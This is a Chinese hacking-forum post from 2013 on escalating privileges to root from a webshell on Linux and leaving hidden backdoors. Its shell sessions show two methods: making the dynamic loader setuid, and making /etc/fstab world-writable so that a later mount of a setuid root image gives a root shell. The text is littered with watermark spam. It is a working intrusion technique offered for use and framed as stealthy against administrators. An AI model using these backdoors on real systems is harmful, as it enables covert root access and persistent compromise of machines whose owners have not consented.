找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3160|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究5 l, Y! z/ b6 w
( ?) T- H9 \5 l0 w* b/ H1 E) f$ G
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究. B( f! ]* q/ p2 J2 m
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
! O! p& U8 t" M2 m+ Klrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究) @, G& e3 z( c' d; @
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
; s% M& Y: y8 m& ?* E[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
# H; m5 Y6 r) O6 L% \-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究' V- F3 z, D. R
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究: E' `& l, ]6 x% h$ K& ~
[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究- d8 P3 a6 |7 b
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
6 W: U) n( k8 `2 w+ k% l7 E+ {9 ~; l7 Z3 |
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
- {8 Q0 Q$ \+ S
* \9 D' R5 q$ a* G[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究9 z6 _2 I3 ~) }. E
xiaoyu2ezX-BUG-关注前沿信息安全技术研究* D8 r3 z0 i7 T( v$ H& ]
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究4 z9 d$ }1 q. Q4 h
root2ezX-BUG-关注前沿信息安全技术研究. Z! U0 K$ s! @, r" q: n! I& L
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究# J: p9 F5 \1 H4 E9 z$ R
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究4 A! I- p6 g. m  B
4 l3 r% Z1 T4 ]; m0 f
方法二:2ezX-BUG-关注前沿信息安全技术研究* v# k( [; W' D; p
: z7 k% R: i) M; _" c' M
看过程:2ezX-BUG-关注前沿信息安全技术研究
6 L0 B( d) V% {$ K( H6 b8 }- c
6 C. N( ^. u; t6 o% @" R[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究' q: U' f& k2 r1 N
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究+ H3 g# S7 G, Y# h" E9 e, n

" Z+ _/ s+ P6 N这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究5 r9 ]; [, i; M2 y  y

1 a" f6 A% [7 o8 H[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究$ b/ r: A  Q3 g3 n% v, w8 `' n+ c
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
9 u$ w6 j& f) e# Y[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究' I/ \- U. C" b2 o* h8 |, G$ ^
0 Y( Y" s" r& P3 H. \
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
2 N% n; L! O1 g& O  @2 T" Q' Q
( w# R, h  b) \" t8 a( m9 V[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究- C; L; ~- n. J' i7 ^% l) n7 X6 G
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究* F" m6 k/ n6 B* d9 N) h
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究0 @2 a% g8 m: i* q' G+ g
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究. I5 Q( [+ W& `' X8 U9 I1 m% F
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究! s  t' k# e% u3 I3 \0 z* ~$ `6 y
total 182ezX-BUG-关注前沿信息安全技术研究- o9 x! V" V( ]+ d. O7 Q( q$ V2 Y$ t7 p
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究2 r9 l; i- E( T( k- W
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
* o# Q, n1 G( M[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
5 Z7 C+ h- P8 g* dsh-3.2#2ezX-BUG-关注前沿信息安全技术研究
/ n/ i- t: V. G$ V2 u看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究( E! F& j: V1 b  f, V6 E. P8 i
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究: V1 N. F0 \* V( h' b0 ]- d

4 }( i" f& m& a6 `& C% Z貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
1 ]6 v7 F! k1 L  x2ezX-BUG-关注前沿信息安全技术研究
' h. Z4 F% I$ H0 w5 p& m8 ?- A+ z, f8 n/ Q
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表